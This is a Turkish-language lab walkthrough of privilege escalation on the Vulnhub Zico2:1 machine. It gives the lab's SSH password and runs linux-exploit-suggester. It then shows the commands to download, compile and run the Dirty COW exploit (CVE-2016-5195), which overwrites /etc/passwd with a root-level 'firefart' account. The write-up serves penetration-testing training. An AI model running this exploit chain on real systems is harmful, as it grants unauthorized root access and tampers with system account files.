Linux-Exploit-Suggester Betiği ile Tespit Edilen İşletim Sistemi Zafiyetinin İstismar Edilerek root Yetkileri ile Komut Satırının Elde Edilmesi

0
1100
views
Linux sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de işletim sistemi zafiyetinin istismar edilmesidir. Bu yazıda, Zico2:1 sanal makinesindeki CVE-2016-5195 ID’li işletim sistemi zafiyeti linux-exploit-suggester betiği ile tespit edilecek ve standart kullanıcı haklarından “root” kullanıcısı hakkı ile komut satırı elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Zico2:1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/zico2-1,210/

 

Not: Sanal makinenin Virtualbox üzerinden çalıştırılması tavsiye edilmektedir.

Bu makineye aşağıdaki bilgiler ile SSH servisi üzerinden erişim sağlanabilir.

Kullanıcı Adı: zico
Parola: sWfCsfJSPV9H3AmQzw8

 

Linux işletim sistemine standart kullanıcı yetkisine sahip bir kullanıcı (zico) ile erişime sahip olunduğu görülmektedir.

id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd

 

Sanal makinenin işletim sisteminin Ubuntu 12.04.5 LTS, çekirdeğinin de 3.2.0.-23-generic olduğu görülmektedir.

uname -a
cat /etc/*release*

 

Muhtemel hak yükseltme zafiyetlerinin listesi için linux-exploit-suggester isimli Bash betiği kullanılabilir.

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/ZafiyetTespiti.sh
md5sum /tmp/ZafiyetTespiti.sh

 

İndirilen dosya çalıştırılabilir hale getirildikten sonra, çalıştırılır.

cd /tmp/
ls -la ZafiyetTespiti.sh
chmod +x ZafiyetTespiti.sh
./ZafiyetTespiti.sh

Not: Bu betiğin sadece kullanıcı uzayındaki istismar kodlarını listeleme (–userspace-only), sadece çekirdek uzayındaki istismar kodlarını listeleme (–kernelspace-only), CVE listesini parametre olarak alma (–cvelist-file <CVE Dosyasi>), çekirdek sürümüne göre pasif/uzaktan CVE listeleme (–kernel <Çekirdek Sürümü>), sistem bilgisine göre pasif/uzaktan CVE listeleme (–uname <“uname -a” Çıktısı>), çekirdek sıkılaştırma kontrolünü gerçekleştirme (–checksec) … gibi bir çok seçeneği vardır. Detaylar için Github sayfası incelenebilir.

https://github.com/mzet-/linux-exploit-suggester

 

İşletim sisteminin çekirdeğine göre bir çok zafiyet listelenir/filtrelenir. Zafiyetlerin tanımı, hangi Linux dağıtımına ait olduğu, istismara ait kod betik çıktısında belirtilmektedir. Örneğin, Zico2:1 sanal makinesinde CVE-2013-2094 ID’li zafiyetin olduğu 3 farklı istismar kodu başlığı ile belirtilmiştir. Mevcut dağıtım Ubuntu olduğu için son öneri görmezden görünebilir.

 

Not: CVE-2013-2094 ID’li zafiyete ait istismar kodlar sanal makinenin hizmet veremez hale gelmesine sebep olmaktadır. Bu sebeple, CVE-2016-5195 ID’li başka bir zafiyet istismar edilecektir.

 

linux-exploit-suggester betiği tarafından önerilen istismar kodları da stabil olmadığı için Expolit-DB üzerinden arama yapılabilir.

https://www.exploit-db.com/search/

 

“Linux Kernel 2.6.22 < 3.9 – ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition Privilege Escalation (/etc/passwd Method)” isimli CVE-2016-5195 ID’li zafiyete ait kod internetten indirilip çalıştırılabilir. İstismar işlemi ile /etc/passwd dosyasındaki “root” kullanıcısının adı “firefart” olacak ve parolası – betiğe verilen parametre (Aa123456) olacak şekilde – bu dosyanın içerisine yazılacaktır. Böylece “firefart” kullanıcısına geçiş (veya SSH erişimi) yapılarak, “root” yetkilerine sahip olunacaktır.

wget https://www.exploit-db.com/download/40839.c
gcc -pthread 40839.c -o HakYukselt -lcrypt
ls -la HakYukselt
./HakYukselt Aa123456
su firefart
id

Not: Dirty COW zafiyeti ile ilgili istismar kodları için github sayfası incelenebilir.

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

 

Böylece /etc/passwd dosyasında “firefart” adlı UID değeri 0 olan kullanıcının parolası Aa123456 olarak ayarlanmıştır. /etc/passwd dosyasının orijinali ise /tmp/passwd.bak olarak yedeklenmiştir.

cat /etc/passwd | head -4
cat /etc/passwd | tail -4
cat /tmp/passwd.bak | head -4
cat /tmp/passwd.bak | tail -4

Not: Linux-Exploit-Suggester betiği, Linux_Exploit_Suggester betiğinden esinlenilerek daha kapsamlı olacak şekilde hazırlanmıştır. Perl ile geliştirilen Linux_Exploit_Suggester betiğinde sadece çekirdeğe göre (./Linux_Exploit_Suggester.pl -k 3.0.0) pasif olarak (uzaktan) zafiyet keşfi gerçekleştirilmektedir. Linux_Exploit_Suggester betiğine de Github üzerinden erişilebilir.

https://github.com/PenturaLabs/Linux_Exploit_Suggester
VEYA
https://github.com/InteliSecureLabs/Linux_Exploit_Suggeste

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • Dina: 1.0.1: https://www.vulnhub.com/entry/dina-101,200/

 

Kaynaklar:

https://pavornoc.wordpress.com/2017/11/10/vulnhub-zico2-walkthrough/
VulnHub: Zico2 Walkthrough
https://medium.com/@krankoPwnz/writeup-for-zico2-1-on-vulnhub-com-31b5a694e7ac
https://tiagotavares.wordpress.com/2017/12/25/zico2-vulhub/

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.